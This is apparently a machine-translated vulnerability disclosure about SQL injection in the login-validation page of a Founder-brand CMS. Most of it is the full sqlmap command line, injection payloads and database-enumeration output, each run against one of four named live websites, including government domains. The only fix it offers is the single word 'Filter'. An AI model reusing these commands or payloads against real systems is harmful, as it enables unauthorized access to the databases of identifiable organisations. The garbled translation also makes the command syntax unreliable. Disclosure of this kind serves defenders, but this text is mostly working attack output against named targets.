General SQL injection vulnerability in the CMS system of Peking University founder Xiang Yu

General SQL injection vulnerability in the CMS system of Peking University founder Xiang Yu

SQL injection is caused by the lack of filtering in the interface of the CMS system "user login verification" of Peking University founder Xiang Yu

正 CMS system "" interface missing filter causes SQL Injection link:/enpadmin/ValidateUser. jsp injection parameter: loginname

 

 

 

Injection link: http://www.hbsjtt.gov.cn:81/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11 $ Python sqlmap. py-U' http://www.hbsjtt.gov.cn:81/enpadmin/ValidateUser.jsp?loginname=11&userpwd=11 '-P loginname -- dbms oracle -- level 5 -- risk 3 -- batch -- dbs-v 1 -- Place: GETParameter: loginnameType: boolean-based blintitle: OR boolean-based blind-WHERE or HAVING clausePayload: loginname =-2343 'OR (5408 = 5408) AND 'ctqt' = 'ctqt & userpwd = 11 Type: AND/OR time-based blintitle: Oracle OR time-based blinpayload: loginname =-3303 'OR 9701 = DBMS_PIPE.RECEIVE_MESSAGE (CHR (78) | CHR (74) | CHR (79) | CHR (74), 5) AND 'xlhu' = 'xlhu & userpwd = 11 --- [20:27:48] [INFO] the back-end DBMS is Oracleweb application technology: Apache, JSPback-end DBMS: oracle [20:27:48] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DB [20:27:48] [INFO] fetching database (schema) names [20:27:48] [INFO] fetching number of databases [20:27:49] [INFO] resumed: 17 [20:27:49] [INFO] resumed: CMSUSER [20:27:49] [INFO] resumed: CTXSYS [20:27:49] [INFO] resumed: DBSNMP [20:27:49] [INFO] resumed: DMSYS [20:27:49] [INFO] resumed: EXFSYS [20:27:49] [INFO] resumed: FUIM [20:27:49] [INFO] resumed: MDSYS [20:27:49] [INFO] resumed: OLAPSYS [20:27:49] [INFO] resumed: ORDSYS [20:27:49] [INFO] resumed: OUTLN [20:27:49] [INFO] resumed: SCOTT [20:27:49] [INFO] resumed: SYS [20:27:49] [INFO] resumed: SYSMAN [20:27:49] [INFO] resumed: SYSTEM [20:27:49] [INFO] resumed: TSMSYS [20:27:49] [INFO] resumed: WMSYS [20:27:49] [INFO] resumed: XDBavailable databases [17]: [*] CMSUSER [*] CTXSYS [*] DBSNMP [*] DMSYS [*] EXFSYS [*] FUIM [*] MDSYS [*] OLAPSYS [*] ORDSYS [*] OUTLN [*] SCOTT [*] SYS [*] SYSMAN [*] SYSTEM [*] TSMSYS [*] WMSYS [*] XDB

 

(2) http://www.sxjmfxky.com:6565/ Fenxi Mining Group injection link: http://www.sxjmfxky.com:6565/ Enpadmin/ValidateUser. jsp? Loginname = 11 & userpwd = 11 $ python sqlmap. py-U' http://www.sxjmfxky.com:6565/ Enpadmin/ValidateUser. jsp? Loginname = 11 & userpwd = 11 '-p loginname -- dbms oracle -- level 5 -- risk 3 -- batch -- dbs-v 1 --- Place: GETParameter: loginnameType: boolean-based blintitle: OR boolean-based blind-WHERE or HAVING clausePayload: loginname =-4846 'OR (4419 = 4419) AND 'njuu' = 'njuu & userpwd = 11 Type: AND/OR time-based blintitle: Oracle OR time-based blinpayload: loginname =-8756 'OR 9026 = DBMS_PIPE.RECEIVE_MESSAGE (CHR (119) | CHR (122) | CHR (67) | CHR (1, 112), 5) AND 'malg' = 'malg & user --- [21:07:44] [INFO] the back-end DBMS is Oracleweb application technology: Servlet 2.5, JSP, JSP 2.1back-end DBMS: oracle [21:07:44] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other [21:07:44] [INFO] fetching database (schema) names [21:07:44] [INFO] fetching number of databases [21:07:44] [INFO] resumed: 19 [21:07:44] [INFO] resumed: CMSUSER [21:07:44] [INFO] resumed: CTXSYS [21:07:44] [INFO] resumed: DBSNMP [21:07:44] [INFO] resumed: EXFSYS [21:07:44] [INFO] resumed: FLOWS_030000 [21:07:44] [INFO] resumed: FLOWS_FILES [21:07:44] [INFO] resumed: MDSYS [21:07:44] [INFO] resumed: OLAPSYS [21:07:44] [INFO] resumed: ORDSYS [21:07:44] [INFO] resumed: OUTLN [21:07:44] [INFO] resumed: SCOTT [21:07:44] [INFO] resumed: SYS [21:07:44] [INFO] resumed: SYSMAN [21:07:44] [INFO] resumed: SYSTEM [21:07:44] [INFO] resumed: TSMSYS [21:07:44] [INFO] resumed: WKSYS [21:07:44] [INFO] resumed: WK_TEST [21:07:44] [INFO] resumed: WMSYS [21:07:44] [INFO] resumed: XDBavailable databases [19]: [*] CMSUSER [*] CTXSYS [*] DBSNMP [*] EXFSYS [*] FLOWS_030000 [*] FLOWS_FILES [*] MDSYS [*] OLAPSYS [*] ORDSYS [*] OUTLN [*] SCOTT [*] SYS [*] SYSMAN [*] SYSTEM [*] TSMSYS [*] WK_TEST [*] WKSYS [*] WMSYS [*] XDB

 

(3) http://jjc.hbsjtt.gov.cn:81/ Hebei Expressway Construction Headquarters injection link: http://jjc.hbsjtt.gov.cn:81/ Enpadmin/ValidateUser. jsp? Loginname = 11 & userpwd = 11 $ python sqlmap. py-U' http://jjc.hbsjtt.gov.cn:81/ Enpadmin/ValidateUser. jsp? Loginname = 11 & userpwd = 11 '-p loginname -- dbms oracle -- level 5 -- risk 3 -- batch -- dbs-v 1 -- threads 10 --- Place: GETParameter: loginnameType: boolean-based blindTitle: OR boolean-based blind-WHERE or HAVING clausePayload: loginname =-5795 'OR (6437 = 6437) AND 'pjla' = 'pjla & userpwd = 11 Type: AND/OR time-based blintitle: Oracle OR time-based blinpayload: loginname =-4357 'OR 6637 = DBMS_PIPE.RECEIVE_MESSAGE (CHR (66) | CHR (122) | CHR (97) | CHR (87), 5) AND 'wxka '= 'wxka & userpwd = --- [20:51:42] [INFO] the back-end DBMS is Oracleweb application technology: Apache, JSPback-end DBMS: oracle [20:51:42] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other D [20:51:42] [INFO] fetching database (schema) names [20:51:42] [INFO] fetching number of databases [20:51:42] [INFO] resumed: 17 [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 7 [20:51:42] [INFO] resumed: CMSUSER [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: CTXSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: DBSNMP [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 5 [20:51:42] [INFO] resumed: DMSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: EXFSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 4 [20:51:42] [INFO] resumed: FUIM [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 5 [20:51:42] [INFO] resumed: MDSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 7 [20:51:42] [INFO] resumed: OLAPSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: ORDSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 5 [20:51:42] [INFO] resumed: OUTLN [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 5 [20:51:42] [INFO] resumed: SCOTT [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 3 [20:51:42] [INFO] resumed: SYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: SYSMAN [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: SYSTEM [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 6 [20:51:42] [INFO] resumed: TSMSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 5 [20:51:42] [INFO] resumed: WMSYS [20:51:42] [INFO] retrieving the length of query output [20:51:42] [INFO] resumed: 3 [20:51:42] [INFO] resumed: XDBavailable databases [17]: [*] CMSUSER [*] CTXSYS [*] DBSNMP [*] DMSYS [*] EXFSYS [*] FUIM [*] MDSYS [*] OLAPSYS [*] ORDSYS [*] OUTLN [*] SCOTT [*] SYS [*] SYSMAN [*] SYSTEM [*] TSMSYS [*] WMSYS [*] XDB

 

(4) http://www.tsrb.com.cn:7001 Injection link: http://www.tsrb.com.cn:7001 /Enpadmin/ValidateUser. jsp? Loginname = 11 & userpwd = 11 $ python sqlmap. py-U' http://www.tsrb.com.cn:7001 /Enpadmin/ValidateUser. jsp? Loginname = 11 & userpwd = 11 '-p loginname -- dbms oracle -- level 5 -- risk 3 -- dbs-v 1 -- batch -- threads 10 --- Place: GETParameter: loginnameType: boolean-based blindTitle: OR boolean-based blind-WHERE or HAVING clausePayload: loginname =-8135 'OR (1388 = 1388) AND 'jup' = 'jup' & userpwd = 11 Type: AND/OR time-based blintitle: Oracle AND time-based blinpayload: loginname = 11 'AND 7290 = DBMS_PIPE.RECEIVE_MESSAGE (CHR (106) | CHR (71) | CHR (106) | CHR (66), 5) AND 'azxy' = 'azx --- [20:49:07] [INFO] the back-end DBMS is Oracleweb application technology: JSPback-end DBMS: oracle [20:49:07] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names [20:49:07] [INFO] fetching database (schema) names [20:49:07] [INFO] fetching number of databases [20:49:07] [INFO] resumed: 16 [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 7 [20:49:07] [INFO] resumed: CMSUSER [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: CTXSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: DBSNMP [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 5 [20:49:07] [INFO] resumed: DMSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: EXFSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 5 [20:49:07] [INFO] resumed: MDSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 7 [20:49:07] [INFO] resumed: OLAPSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: ORDSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 5 [20:49:07] [INFO] resumed: OUTLN [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 5 [20:49:07] [INFO] resumed: SCOTT [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 3 [20:49:07] [INFO] resumed: SYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: SYSMAN [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: SYSTEM [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 6 [20:49:07] [INFO] resumed: TSMSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 5 [20:49:07] [INFO] resumed: WMSYS [20:49:07] [INFO] retrieving the length of query output [20:49:07] [INFO] resumed: 3 [20:49:07] [INFO] resumed: XDBavailable databases [16]: [*] CMSUSER [*] CTXSYS [*] DBSNMP [*] DMSYS [*] EXFSYS [*] MDSYS [*] OLAPSYS [*] ORDSYS [*] OUTLN [*] SCOTT [*] SYS [*] SYSMAN [*] SYSTEM [*] TSMSYS [*] WMSYS [*] XDB

 

Solution:

Filter